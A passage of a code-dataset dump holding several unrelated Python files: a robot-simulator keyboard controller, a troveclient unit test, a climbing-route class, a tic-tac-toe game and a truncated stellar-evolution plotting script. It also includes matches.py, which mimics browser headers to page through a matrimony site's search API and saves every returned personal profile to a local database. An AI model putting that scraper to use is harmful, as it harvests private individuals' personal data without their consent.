for base, dirs, files in os.walk(dir_path):\n return len(files)\n\n\ndef save_image(save_path):\n index = get_files_number(save_path) + 1\n frame = get_frame(camera)\n file_name = save_path + str(index) + '.png'\n cv2.imwrite(file_name, frame)\n\n\nif __name__ == '__main__':\n while robot.step(TIME_STEP) != -1:\n left_motor.update()\n right_motor.update()\n pressed_key = keyboard.getKey()\n process_keyboard_control(pressed_key)\n if pressed_key == Keyboard.SHIFT+ord('W'):\n path = 'photo/w/'\n save_image(path)\n if pressed_key == Keyboard.SHIFT+ord('A'):\n path = 'photo/a/'\n save_image(path)\n if pressed_key == Keyboard.SHIFT+ord('S'):\n path = 'photo/s/'\n save_image(path)\n if pressed_key == Keyboard.SHIFT+ord('D'):\n path = 'photo/d/'\n save_image(path)\n\n","sub_path":"keyboard_controller/keyboard_controller.py","file_name":"keyboard_controller.py","file_ext":"py","file_size_in_byte":4205,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"610285624","text":"from typing import List, Dict\nfrom tinydb import TinyDB, Query\nimport requests\nimport json\ndata_str = {} \n# url = 'https://mg.bharatmatrimony.com/search/matches/'\nurl = 'https://srch.bharatmatrimony.com/search/viewed-matches/'\n\n\ndef build_post_data(i):\n data_str['APPVERSIONCODE']='0'\n data_str['SORT']='1'\n data_str['REFINE']='0'\n data_str['APPVERSION']='6.1'\n data_str['ID']=''\n data_str['LIMIT']='20'\n data_str['BLOCKED']='1'\n data_str['IGNORED']='1'\n data_str['START']=i\n data_str['SHORTLISTED']='0'\n data_str['VIEWED']='0'\n data_str['CONTACTED']='0'\n data_str['VIEWEDAPITIMESTAMP']=''\n data_str['PRIMETAG']=''\n data_str['ANCESTRALSTATE']=''\n data_str['APPTYPE']='300'\n data_str['Lang']='en'\n data_str['ENCID']=''\n data_str['TOKENID']=''\n data_str['APIVERSION']='1.2'\n data_str['TIMECREATED']=''\n data_str['UIVERSION']='NEW'\n data_str['WEBPFLAG']='0'\n\n\n \n return data_str \n\ndef get_data(i):\n headers = { 'Host': 'srch.bharatmatrimony.com',\n 'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:92.0) Gecko/20100101 Firefox/92.0',\n 'Accept': 'application/json, text/plain, */*',\n 'Accept-Language': 'en-US,en;q=0.5',\n 'Accept-Encoding': 'gzip, deflate, br',\n 'content-type': 'application/x-www-form-urlencoded; charset=UTF-8',\n 'Content-Length': '779',\n 'Origin': 'https://matches.telugumatrimony.com',\n 'DNT': '1',\n 'Connection': 'keep-alive',\n 'Referer': 'https://matches.telugumatrimony.com/',\n 'Sec-Fetch-Dest': 'empty',\n 'Sec-Fetch-Mode': 'cors',\n 'Sec-Fetch-Site': 'cross-site'\n }\n res = requests.post(url, headers=headers, data=build_post_data(i)) \n return res\n\ndef main():\n db = TinyDB('matches.json')\n with open('res.txt', 'a') as f:\n for i in range(0, 132):\n print(\"loading first {} entries\".format(i*20)) \n res = get_data(i*20)\n try:\n if res.status_code != 200:\n f.write(res.text)\n res = get_data(i*20)\n if res.status_code == 200:\n data = json.loads(res.text)\n for item in data[\"SEARCHRES\"][\"PROFILE\"]:\n db.insert(item)\n except ValueError:\n print(\"failed to load {}\".format(data))\n except KeyError:\n print(\"failed with response {}\".format(data))\n\nif __name__ == '__main__':\n exit(main())\n","sub_path":"matches.py","file_name":"matches.py","file_ext":"py","file_size_in_byte":2639,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"603174442","text":"# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nfrom troveclient import common\nfrom troveclient.osc.v1 import database_modules\nfrom troveclient.tests.osc.v1 import fakes\nfrom troveclient.v1 import modules\n\n\nclass TestModules(fakes.TestDatabasev1):\n def setUp(self):\n super(TestModules, self).setUp()\n self.mock_client = self.app.client_manager.database\n self.module_client = self.app.client_manager.database.modules\n\n\nclass TestModuleList(TestModules):\n\n defaults = {\n 'datastore': None\n }\n\n columns = database_modules.ListDatabaseModules.columns\n keys, values = zip(*(('_'.join(c.lower().split()), 'Fake %s' % c) \n for c in columns))\n data = dict(zip(keys, values))\n\n def setUp(self):\n super(TestModuleList, self).setUp()\n self.cmd = database_modules.ListDatabaseModules(self.app, None)\n data = [modules.Module(None, self.data)]\n self.module_client.list.return_value = common.Paginated(data)\n\n def test_module_list_defaults(self):\n parsed_args = self.check_parser(self.cmd, [], [])\n columns, data = self.cmd.take_action(parsed_args)\n self.module_client.list.assert_called_once_with(**self.defaults)\n self.assertEqual(self.columns, columns)\n self.assertEqual([self.values], data)\n","sub_path":"troveclient/tests/osc/v1/test_database_modules.py","file_name":"test_database_modules.py","file_ext":"py","file_size_in_byte":1835,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"634196361","text":"# from sqlalchemy import Column, String, Text, Integer, ForeignKey\n\nfrom location import Location\nfrom grade import Grade\n\nclass Route:\n\n # __tablename__ = 'ROUTES'\n \n # routeID = Column('routeID', Integer, primary_key=True) # RouteID is unique\n # name = Column('name', String(50), nullable=False) # A non-unique name of a route\n # grade = Column('grade', String(10), nullable=False) # A route must have a proposed grade\n # notes = Column('notes', Text, nullable=True) # string extended further and futher\n # # fkCragID = Column('fkCragID', ForeignKey(\"LOCATIONS.cragID\")) # points to cragID in LOCATIONS DB\n\n \n def __init__(self, name, grade, location, notes=None):\n # name of the route\n self.name = name\n \n # grade can be given in UIAA, French and YDS scale\n self.grade = Grade(grade) # proposed grade\n\n # the crag is divided in Country, Area, Crag and can have a cragnote\n self.location = location # a Location object\n\n # note is a subjective description of the route\n self.notes = notes\n \n \n def __repr__(self):\n # str(self.__dict__)\n return \"{} \\t {} \\t {}\".format(self.name, self.grade, self.location)\n\n \n # def addRoute(self, name, grade, crag, area, country, notes):\n # \"\"\"\n # This function should access the database \"ROUTES\", test\n # whether the route is already recorded and then add it.\n # The recorded fields should be: \n # name, grade, location (crag,area,country), notes\n # Attention: This function is different from addAscent.\n # \"\"\"\n # return False\n\n \n # def getPrimaryCragKey(self, name):\n # \"\"\"\n # I think this function is necessary to insert a route into the\n # database. One has to get the CragID to get the reference to\n # LOCATIONS correctly.\n # \"\"\"\n # return False\n \n \n\nif __name__==\"__main__\":\n route=Route(name=\"Schnubbeldibubb\",\n grade=\"8a\",\n location=Location( crag=\"On the Moon\",\n area=\"The Universe\",\n country=\"Not Earth\" ),\n notes=\"First route on the moon\")\n \n print(route)\n","sub_path":"code/route.py","file_name":"route.py","file_ext":"py","file_size_in_byte":2298,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"118611788","text":"#!/usr/bin/python\nimport sys\n\nfrom board import Board;\nfrom player import Player;\n\n# Welcome to Ida's TicTacToe!\n\nWELCOME_MESSAGE = \"Welcome to Tic Tac Toe! \\n\\nHere's the current board:\"\nERROR_MESSAGE = {\"General\":\"\\nSorry, we could not recognise your input. Please try again.\\n\",\n \"Duplicate\":\"\\nSomeone is already placed here! Please enter another position.\\n\",\n \"Invalid Numbers\":\"\\nInvalid input numbers, make sure your co-ordinates are between 1,1 and 3,3. Try again!\\n\",\n \"Incorrect Format\":\"\\nSorry, we could not recognise your input. Make sure you're entering an \\'x,y\\', where X and Y are values between 1 and 3. Try again!\\n\"}\nGAME_OVER_MESSAGE = \"Game over - It\\'s a draw!\\n\"\nQUIT_GAME_MESSAGE = \"\\nYou quit the game - Goodbye!\\n\"\nCOMMA=\",\"\nQUIT=\"q\"\n\nclass TicTacToe:\n\n # Initialises the tictactoe board, players and index values\n def __init__(self):\n self.board = Board();\n self.player = Player();\n self.i = 0; # indexes of the players coordinates\n self.j = 0;\n\n def start_game(self):\n print (WELCOME_MESSAGE);\n self.show_current_board();\n self.play();\n\n # loops through the game getting the player coordinates each time and checking that its valid\n def play(self):\n player_input_coordinates = self.get_player_input();\n while player_input_coordinates != QUIT:\n\n is_valid, error_message = self.player_input_is_valid(player_input_coordinates);\n if (is_valid):\n\n if self.board.has_someone_placed_here(self.i, self.j):\n self.board.add_move_to_board(self.player.get_player_move(), self.i, self.j);\n self.show_current_board();\n self.finish_game_if_end();\n self.player.switch_player();\n else:\n print (ERROR_MESSAGE[\"Duplicate\"]);\n else:\n print (error_message);\n\n player_input_coordinates = self.get_player_input();\n\n print (QUIT_GAME_MESSAGE)\n exit(); # exit if the player wants to quit\n\n def show_current_board(self):\n print(self.board.get_current_board_string());\n\n # Checks if the player entered a \",\" for the coordinates in this format\n # Returns a specific error message for invalid input\n def player_input_is_valid(self, input_value):\n error_message = '';\n is_valid = False;\n\n if len(input_value) == 3:\n if (input_value[1] == COMMA and str(input_value[0]).isdigit() and str(input_value[2]).isdigit()):\n x = int(input_value[0]);\n y = int(input_value[2]);\n if (x <= 3 and x >= 1 and y <= 3 and y >= 1):\n # set the indexes of the co-ordinate position\n self.i = y - 1;\n self.j = x - 1;\n is_valid = True;\n else:\n error_message = ERROR_MESSAGE[\"Invalid Numbers\"];\n else:\n error_message = ERROR_MESSAGE[\"Incorrect Format\"];\n else:\n error_message = ERROR_MESSAGE[\"General\"];\n return is_valid, error_message;\n\n def get_player_input(self):\n return input(\"Player \" + str(self.player.get_player_number()) + \" enter a coord \\'x,y\\' to place your \" + self.player.get_player_move() + \" or enter \\'q\\' to give up: \");\n\n def finish_game_if_end(self):\n if self.board.won_the_game():\n print(\"\\nCongratulations Player \" + str(self.player.get_player_number()) + \", you won!!\\n\");\n exit();\n\n if self.board.last_move():\n print(GAME_OVER_MESSAGE);\n exit();\n","sub_path":"tictactoe/main_game.py","file_name":"main_game.py","file_ext":"py","file_size_in_byte":3704,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"596232837","text":"import mesa_reader as mr\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport matplotlib\nfrom scipy.interpolate import interp1d\n\nMsun = 1.989 * 10**33 # solar mass in kg.\n\nplt.rcParams[\"font.family\"] = \"Times New Roman\"\nfont = {'fontname':'Times New Roman'}\nfontsize = {'fontsize':30}\n\nmatplotlib.rc('xtick', labelsize=20)\nmatplotlib.rc('ytick', labelsize=20)\n\ndef EndOfMS(h):\n\n # compute radius, luminosity and effective temperature of star ONLY on the MS\n L = h.log_L\n Lnuc = h.log_Lnuc\n index = np.where(np.round(L, 3) == np.round(Lnuc, 3))[0][0]\n r = h.log_R[index:]\n L_ms = L[index:]\n Teff = h.log_Teff[index:]\n center_h1 = h.center_h1[index:]\n ind2 = np.where(center_h1 > (1e-3))[0]\n # return r[ind2][-1], L_ms[ind2][-1], Teff[ind2][-1]\n ind_max = np.where(r[ind2] == max(r[ind2]))[0]\n return r[ind2][ind_max],L_ms[ind2][ind_max],Teff[ind2][ind_max]\n\ndef He_ignition(h):\n\n # compute radius, luminosity and effective temperature at He ignition\n center_h1 = h.center_h1\n ind_tams = np.where(center_h1 <= (1e-3))[0] # this is after TAMS\n center_he = h.center_he4[ind_tams]\n r = h.log_R[ind_tams]\n lum = h.log_L[ind_tams]\n he4, ind_he = find_nearest(center_he, 0.9)\n r = r[:ind_he]\n lum = lum[:ind_he]\n center_he = center_he[:ind_he]\n ind_max = np.where(r == max(r))[0]\n # print(center_he[ind_max], age[ind_max])\n return r[ind_max], lum[ind_max]\n\ndef Hayashi(h,L_const):\n # compute radius, luminosity and effective temperature on the hayashi track\n radius = h.log_R\n L = h.log_L\n R_int = np.interp(L_const,L,radius)\n # print(R_int)\n return R_int\n\ndef Hayashi_end(h):\n radius = h.log_R\n ind_m = np.where(radius == max(radius))[0]\n L = h.log_L\n return max(radius), L[ind_m]\n\ndef choseMS(h):\n Teff = h.log_Teff\n L = h.log_L\n Lnuc = h.log_Lnuc\n index = np.where(np.round(L, 3) == np.round(Lnuc, 3))[0][0]\n Teff = Teff[index:]\n L = L[index:]\n R = h.log_R[index:]\n # center_h1 = h.center_h1[index:]\n # ind2 = np.where(center_h1 < (1e-4 + (Z_eps - Z_fid)))[0]\n # return Teff[ind2], R[ind2], L[ind2]\n return Teff, R, L\n\ndef choseMS2(h):\n Teff = h.log_Teff\n L = h.log_L\n Lnuc = h.log_Lnuc\n index = np.where(np.round(L, 3) == np.round(Lnuc, 3))[0][0]\n Teff = Teff[index:]\n L = L[index:]\n R = h.log_R[index:]\n CXhe = h.center_he4[index:]\n CXh = h.center_h1[index:]\n age = h.star_age[index:]\n logLhe = h.log_LHe[index:]\n logLh = h.log_LH[index:]\n return CXhe, CXh, age, logLhe,logLh\n # return Teff, R, L\n\ndef find_nearest(array, value):\n array = np.asarray(array)\n idx = (np.abs(array - value)).argmin()\n return array[idx],idx\n\ndef choseMS3(h):\n Teff = h.log_Teff\n L = h.log_L\n Lnuc = h.log_Lnuc\n index = np.where(np.round(L, 3) == np.round(Lnuc, 3))[0][0]\n Teff = Teff[index:]\n L = L[index:]\n R = h.log_R[index:]\n CXHe = h.center_he4[index:]\n age = h.star_age[index:]\n m_conv_tot = h.m_conv_tot[index:]\n m_conv_core = h.mass_conv_core[index:]\n m_star = h.star_mass[index:]\n m_h1 = h.total_mass_h1[index:]\n m_tot, m_he_core = h.star_mass[index:], h.he_core_mass[index:]\n return age, CXHe, m_conv_tot, m_conv_core, R, L, m_h1/m_star, m_tot, m_he_core\n\ndef ConvectiveFraction(h, p):\n # p = fraction of convective envelope mass to total envelope mass in %\n age, CXHe, m_conv_tot, m_conv_core, R, L, xh, m_tot, m_he_core = choseMS3(h)\n # m_envel = []\n # for l in range(len(R)):\n # m_c_tot = m_conv_tot[l] / Msun\n # m_core = m_conv_core[l]\n # if m_c_tot >= m_core:\n # m_envel.append(m_c_tot - m_core)\n # else:\n # m_envel.append(0)\n #\n # conv_frac = np.array(m_envel) / (m_tot - m_he_core)\n conv_frac = (m_conv_tot / Msun) / (m_tot - m_he_core)\n f_50, ind_50 = find_nearest(conv_frac, p/100)\n return R[ind_50], L[ind_50]\n\ndef max_drdt(h):\n\n L = h.log_L\n Lnuc = h.log_Lnuc\n index = np.where(np.round(L, 3) == np.round(Lnuc, 3))[0][0]\n L = L[index:]\n R = h.log_R[index:]\n t = h.star_age[index:]\n center_h1 = h.center_h1[index:]\n ind2 = np.where(center_h1 >= (1e-2))[0][-1]\n L, R, t = L[ind2:], R[ind2:], t[ind2:]\n # he_c = h.center_he4[index:][ind2:]\n ind3 = np.where(R < 2.5)[0]\n L, R, t = L[ind3], R[ind3], t[ind3]\n dr_dt = abs(np.diff(R)/np.diff(t))\n ind = np.where(dr_dt == max(dr_dt))[0]\n # print(ind)\n return R[ind][0], L[ind][0]\n\n# plt.style.use('dark_background')\n\n# ############## FIGURE 1 ##############\nl_hay_h = 4.98\nl_hay_l = 5.02\n\nh0 = mr.MesaData('data/Z0.001_overshoot_any/LOGS/history.data')\nh1 = mr.MesaData('data/Z2e-3_wind1e-3_use_min/LOGS/history.data')\nh2 = mr.MesaData('data/Z2e-2/LOGS/history.data')\nh3 = mr.MesaData('data/Z0.04_wind0.02_use_min/LOGS/history.data')\n# HRDs\nT0, R0, L0 = choseMS(h0)\nT1, R1, L1 = choseMS(h1)\nT2, R2, L2 = choseMS(h2)\nT3, R3, L3 = choseMS(h3)\n# End of MS\nr0_ms, l0_ms, t0_ms = EndOfMS(h0)\nr1_ms, l1_ms, t1_ms = EndOfMS(h1)\nr2_ms, l2_ms, t2_ms = EndOfMS(h2)\nr3_ms, l3_ms, t3_ms = EndOfMS(h3)\nR_ms = [r0_ms, r1_ms, r2_ms, r3_ms]\nL_ms = [l0_ms, l1_ms, l2_ms, l3_ms]\n# He ignition\nr0_he, l0_he = He_ignition(h0)\nr1_he, l1_he = He_ignition(h1)\nr2_he, l2_he = He_ignition(h2)\nr3_he, l3_he = He_ignition(h3)\nR_he = [r0_he, r1_he, r2_he, r3_he]\nL_he = [l0_he, l1_he, l2_he, l3_he]\n# Max dlogR/dt\nr0_max, l0_max = max_drdt(h0)\nr1_max, l1_max = max_drdt(h1)\nr2_max, l2_max = max_drdt(h2)\nr3_max, l3_max = max_drdt(h3)\nR_max = [r0_max, r1_max, r2_max, r3_max]\nL_max = [l0_max, l1_max, l2_max, l3_max]\n# Hayashi -- constant L\nr0_cons = Hayashi(h0,l_hay_l)\nr1_cons = Hayashi(h1,l_hay_l)\nr2_cons = Hayashi(h2,l_hay_h)\nr3_cons = Hayashi(h3,l_hay_h)\nR_cons = [r0_cons, r1_cons, r2_cons, r3_cons]\nL_cons = [l_hay_l, l_hay_l, l_hay_h, l_hay_h]\n# Hayashi -- end of life\nr0_end, l0_end = Hayashi_end(h0)\nr1_end, l1_end = Hayashi_end(h1)\nr2_end, l2_end = Hayashi_end(h2)\nr3_end, l3_end = Hayashi_end(h3)\nR_end = [r0_end, r1_end, r2_end, r3_end]\nL_end = [l0_end, l1_end, l2_end, l3_end]\n# Convective fraction = 50 %\np = 50\nr0_conv, l0_conv = ConvectiveFraction(h0, p)\nr1_conv, l1_conv = ConvectiveFraction(h1, p)\nr2_conv, l2_conv = ConvectiveFraction(h2, p)\nr3_conv, l3_conv = ConvectiveFraction(h3, p)\nR_conv = [r0_conv, r1_conv, r2_conv, r3_conv]\nL_conv = [l0_conv, l1_conv, l2_conv, l3_conv]\n#\ncolor = plt.cm.Greys(np.linspace(0,1,20))\nfig, ax = plt.subplots(ncols=1,nrows=1,sharex=True,sharey=True,figsize=(6.5,4.5))\nax.plot(R0, L0, c=color[10])\nax.plot(R1, L1, c=color[13])\nax.plot(R2, L2, c=color[15])\nax.plot(R3, L3, c=color[19])\n\nax.scatter(R_ms, L_ms, edgecolors='k', c='cyan',marker='*',s=200, label='End of MS', zorder=5)\nax.scatter(R_he, L_he, edgecolors='k', c='yellow',marker='P',s=150, label='Helium Ignition' '\\n' r'$X_C( ^4{\\rm He})=90\\%$', zorder=5)\nax.scatter(R_max, L_max, edgecolors='k', c='lime',marker='o',s=100, label='Maximum dlogR/dt', zorder=5)\nax.scatter(R_conv, L_conv, edgecolors='k', c='orchid',marker='X',s=100, label=r'$f_{\\rm conv,env}=0.5$', zorder=5)\nax.scatter(R_cons, L_cons, edgecolors='k', c='pink',marker='D',s=70, label='Hayashi Track $(L=10^5 L_{\\odot})$', zorder=5)\n\nplt.text(1.814,5.04,r'$Z=10^{-3}$',c=color[10],fontsize=15)\nplt.text(1.814,4.86,r'$Z=2\\times 10^{-3}$',c=color[13],fontsize=15)\nplt.text(2.0,4.73,'$Z=0.02$',c=color[15],fontsize=15)\nplt.text(1.65,4.46,'$Z=0.04$',c=color[19],fontsize=15)\n\nax.set_ylim(3.8,5.2)\nax.set_xlim(0.4,3.2)\nax.legend(fontsize=12, ncol=2, framealpha=0.5,loc=8, frameon=False)\n# ax.set_xticks(fontsize=20)\n# ax.set_yticks(fontsize=20)\nax.set_ylabel('log$_{10}$(L/L$_{\\odot}$)',fontsize=20)\nax.set_xlabel('log$_{10}$(R/R$_{\\odot}$)',fontsize=20)\nplt.tight_layout()\n# plt.savefig('figures/HRD_physics.pdf')\nplt.show()\n\n\n#################### ############## ############## ############## ##############\n\n############## FIGURE 2 #################\nz_norm = 0.02\nfig, ((ax1,ax3),(ax2,ax4)) = plt.subplots(ncols=2,nrows=2,sharex=True,sharey=True,figsize=(11,7.5))\n#\n# # for z_norm in [0.02,0.0001]:\nfig.subplots_adjust(wspace=0, hspace=0)\n##### 4-panel HRD with epochs\n\nwidth_fiducial = 2.5\nwidth_mp = 2.\n\nl_hay_high_z = 4.98\nl_hay_low_z = 5.02\n\np=50\n\nh0 = mr.MesaData('data/high_Z_2Z/Z2e-2/LOGS/history.data')\nTeff0, R0, L0 = choseMS(h0)\nax1.plot(R0, L0, color='k', zorder=0., label='$Z=0.02$ (model 1)', linewidth=width_fiducial)\nax2.plot(R0, L0, color='k', zorder=0., linewidth=width_fiducial)\n\nh_mu = mr.MesaData('data/high_Z_2Z/Z2e-2_Zmu4e-2/LOGS/history.data')\nTeff_mu, R_mu, L_mu = choseMS(h_mu)\nax1.plot(R_mu, L_mu, color='limegreen', zorder=1, linestyle='--',linewidth=width_mp, label=r'$Z_{\\mu}=0.04$ (model 2)')\n\nh_kap = mr.MesaData('data/high_Z_2Z/Z2e-2_Zkap4e-2/LOGS/history.data')\nTeff_k, R_k, L_k = choseMS(h_kap)\nax1.plot(R_k, L_k, color='mediumblue', linestyle='--',zorder=1, linewidth=width_mp, label=r'$Z_{\\kappa}=0.04$ (model 3)')\n\nh_eps_0 = mr.MesaData('data/high_Z_2Z/Z2e-2_Zeps4e-2/LOGS/history.data')\nc_h1 = h_eps_0.center_h1\n\nTeff_t, R_t, L_t = choseMS(h_eps_0)\nax1.plot(R_t, L_t, color='palevioletred', zorder=1, linestyle='--',linewidth=width_mp, label=r'$Z_{\\epsilon}=0.04$ (model 4)')\n\nh_km = mr.MesaData('data/high_Z_2Z/Z2e-2_Zkap_mu4e-2/LOGS/history.data')\nTeff_km, R_km, L_km = choseMS(h_km)\nax2.plot(R_km, L_km, color='darkorange', zorder=1, linestyle='--',linewidth=width_mp, label=r'$Z_{\\mu,\\kappa}=0.04$ (model 5)')\n\nh_em = mr.MesaData('data/high_Z_2Z/Z2e-2_Zmu_eps4e-2/LOGS/history.data')\nTeff_em, R_em, L_em = choseMS(h_em)\nax2.plot(R_em, L_em, color='magenta', zorder=1, linestyle='--',linewidth=width_mp, label=r'$Z_{\\mu,\\epsilon}=0.04$ (model 6)')\n\nh_ke = mr.MesaData('data/high_Z_2Z/Z2e-2_Zkap_eps4e-2/LOGS/history.data')\n# print(min(h_ke.center_h1))\nTeff_ke, R_ke, L_ke = choseMS(h_ke)\nax2.plot(R_ke, L_ke, color='dodgerblue', zorder=1, linestyle='--',linewidth=width_mp, label=r'$Z_{\\kappa,\\epsilon}=0.04$ (model 7)')\n\nh_3 = mr.MesaData('data/high_Z_2Z/Z2e-2_Zkap_mu_eps4e-2/LOGS/history.data')\nTeff_3, R_3, L_3 = choseMS(h_3)\nax2.plot(R_3, L_3, color='dimgray', zorder=1, linestyle='--',linewidth=width_mp, label=r'$Z_{\\mu,\\kappa,\\epsilon}=0.04$ (model 8)')\n\nh1 = mr.MesaData('data/Z0.04_wind0.02_use_min/LOGS/history.data')\nTeff1, R1, L1 = choseMS(h1)\nax1.plot(R1, L1, color='maroon', zorder=0, label='$Z=0.04$ (model 9)', linewidth=width_fiducial)\nax2.plot(R1, L1, color='maroon', zorder=0, linewidth=width_fiducial)\n\nepoch_l = ['EMS','He ignition','Hertzsprung','Convective Env Fraction','Hayashi const L','C depletion']\nfor epoch in epoch_l:\n if epoch == 'EMS':\n r_0_ms, l_0_ms, t_0_ms = EndOfMS(h0)\n r_m_ms, l_m_ms, t_m_ms = EndOfMS(h_mu)\n r_ke_ms, l_ke_ms, t_ke_ms = EndOfMS(h_ke)\n r_k_ms, l_k_ms, t_k_ms = EndOfMS(h_kap)\n r_t_ms, l_t_ms, t_t_ms = EndOfMS(h_eps_0)\n r_km_ms, l_km_ms, t_km_ms = EndOfMS(h_km)\n r_em_ms, l_em_ms, t_em_ms = EndOfMS(h_em)\n r_3_ms, l_3_ms, t_3_ms = EndOfMS(h_3)\n r_1_ms, l_1_ms, t_1_ms = EndOfMS(h1)\n r_ms_1 = np.array([r_0_ms, r_1_ms, r_m_ms, r_k_ms, r_t_ms])\n l_ms_1 = np.array([l_0_ms, l_1_ms, l_m_ms, l_k_ms, l_t_ms])\n r_ms_2 = np.array([r_0_ms, r_1_ms, r_km_ms, r_em_ms, r_ke_ms, r_3_ms])\n l_ms_2 = np.array([l_0_ms, l_1_ms, l_km_ms, l_em_ms, l_ke_ms, l_3_ms])\n labell = r'$R_{\\rm max, EMS}$'\n ax1.scatter(r_ms_1, l_ms_1, edgecolors='k', c='cyan', marker='*', s=250, zorder=5)\n ax2.scatter(r_ms_2, l_ms_2, edgecolors='k', c='cyan', marker='*', s=250, zorder=5)\n elif epoch == 'He ignition':\n r_0_ms, l_0_ms = He_ignition(h0)\n r_m_ms, l_m_ms = He_ignition(h_mu)\n r_k_ms, l_k_ms = He_ignition(h_kap)\n r_t_ms, l_t_ms = He_ignition(h_eps_0)\n r_ke_ms, l_ke_ms = He_ignition(h_ke)\n r_km_ms, l_km_ms = He_ignition(h_km)\n r_em_ms, l_em_ms = He_ignition(h_em)\n r_3_ms, l_3_ms = He_ignition(h_3)\n r_1_ms, l_1_ms = He_ignition(h1)\n r_ms_1 = np.array([r_0_ms, r_1_ms, r_m_ms, r_k_ms, r_t_ms])\n l_ms_1 = np.array([l_0_ms, l_1_ms, l_m_ms, l_k_ms, l_t_ms])\n r_ms_2 = np.array([r_0_ms, r_1_ms, r_km_ms, r_em_ms, r_ke_ms, r_3_ms])\n l_ms_2 = np.array([l_0_ms, l_1_ms, l_km_ms, l_em_ms, l_ke_ms, l_3_ms])\n labell = r'$X_c(^4{\\rm He})=90\\%$'\n ax1.scatter(r_ms_1, l_ms_1, edgecolors='k', c='yellow',marker='P',s=100, zorder=5)\n ax2.scatter(r_ms_2, l_ms_2, edgecolors='k', c='yellow',marker='P',s=100, zorder=5)\n elif epoch == 'Hertzsprung':\n r_0_ms, l_0_ms = max_drdt(h0)\n r_m_ms, l_m_ms = max_drdt(h_mu)\n r_ke_ms, l_ke_ms = max_drdt(h_ke)\n r_k_ms, l_k_ms = max_drdt(h_kap)\n r_t_ms, l_t_ms = max_drdt(h_eps_0)\n r_km_ms, l_km_ms = max_drdt(h_km)\n r_em_ms, l_em_ms = max_drdt(h_em)\n r_3_ms, l_3_ms = max_drdt(h_3)\n r_1_ms, l_1_ms = max_drdt(h1)\n r_ms_1 = np.array([r_0_ms, r_1_ms, r_m_ms, r_k_ms, r_t_ms])\n l_ms_1 = np.array([l_0_ms, l_1_ms, l_m_ms, l_k_ms, l_t_ms])\n r_ms_2 = np.array([r_0_ms, r_1_ms, r_km_ms, r_em_ms, r_ke_ms, r_3_ms])\n l_ms_2 = np.array([l_0_ms, l_1_ms, l_km_ms, l_em_ms, l_ke_ms, l_3_ms])\n labell = 'Maximum $dlogR/dt$'\n ax1.scatter(r_ms_1,l_ms_1, edgecolors='k', c='lime',marker='o',s=100,zorder=5)\n ax2.scatter(r_ms_2,l_ms_2, edgecolors='k', c='lime',marker='o',s=100,zorder=5)\n elif epoch == 'Convective Env Fraction':\n r_0_ms, l_0_ms = ConvectiveFraction(h0,p)\n r_m_ms, l_m_ms = ConvectiveFraction(h_mu,p)\n r_ke_ms, l_ke_ms = ConvectiveFraction(h_ke,p)\n r_k_ms, l_k_ms = ConvectiveFraction(h_kap,p)\n r_t_ms, l_t_ms = ConvectiveFraction(h_eps_0,p)\n r_km_ms, l_km_ms = ConvectiveFraction(h_km,p)\n r_em_ms, l_em_ms = ConvectiveFraction(h_em,p)\n r_3_ms, l_3_ms = ConvectiveFraction(h_3,p)\n r_1_ms, l_1_ms = ConvectiveFraction(h1,p)\n r_ms_1 = np.array([r_0_ms, r_1_ms, r_m_ms, r_k_ms, r_t_ms])\n l_ms_1 = np.array([l_0_ms, l_1_ms, l_m_ms, l_k_ms, l_t_ms])\n r_ms_2 = np.array([r_0_ms, r_1_ms, r_km_ms, r_em_ms, r_ke_ms, r_3_ms])\n l_ms_2 = np.array([l_0_ms, l_1_ms, l_km_ms, l_em_ms, l_ke_ms, l_3_ms])\n labell = r'$f_{\\rm conv, env}=0.5$'\n ax1.scatter(r_ms_1,l_ms_1, edgecolors='k', c='orchid',marker='X',s=100,zorder=5)\n ax2.scatter(r_ms_2,l_ms_2, edgecolors='k', c='orchid',marker='X',s=100,zorder=5)\n elif epoch == 'Hayashi const L':\n r_0_ms = Hayashi(h0,l_hay_high_z)\n r_m_ms = Hayashi(h_mu,l_hay_high_z)\n r_ke_ms = Hayashi(h_ke,l_hay_high_z)\n r_k_ms = Hayashi(h_kap,l_hay_high_z)\n r_t_ms = Hayashi(h_eps_0,l_hay_high_z)\n r_km_ms = Hayashi(h_km,l_hay_high_z)\n r_em_ms = Hayashi(h_em,l_hay_high_z)\n r_3_ms = Hayashi(h_3,l_hay_high_z)\n r_1_ms = Hayashi(h1,l_hay_high_z)\n r_ms_1 = np.array([r_0_ms, r_1_ms, r_m_ms, r_k_ms, r_t_ms])\n l_ms_1 = np.array([l_hay_high_z, l_hay_high_z, l_hay_high_z, l_hay_high_z, l_hay_high_z])\n r_ms_2 = np.array([r_0_ms, r_1_ms, r_km_ms, r_em_ms, r_ke_ms, r_3_ms])\n l_ms_2 = np.array([l_hay_high_z, l_hay_high_z, l_hay_high_z, l_hay_high_z, l_hay_high_z, l_hay_high_z])\n labell = '$L=10^{5}L_{\\odot}$'\n ax1.scatter(r_ms_1,l_ms_1, edgecolors='k', c='pink',marker='D',s=80,zorder=5)\n ax2.scatter(r_ms_2,l_ms_2, edgecolors='k', c='pink',marker='D',s=80,zorder=5)\n elif epoch == 'C depletion':\n r_0_ms, l_0_ms = Hayashi_end(h0)\n r_m_ms, l_m_ms = Hayashi_end(h_mu)\n r_ke_ms, l_ke_ms = Hayashi_end(h_ke)\n r_k_ms, l_k_ms = Hayashi_end(h_kap)\n r_t_ms, l_t_ms = Hayashi_end(h_eps_0)\n r_km_ms, l_km_ms = Hayashi_end(h_km)\n r_em_ms, l_em_ms = Hayashi_end(h_em)\n r_3_ms, l_3_ms = Hayashi_end(h_3)\n r_1_ms, l_1_ms = 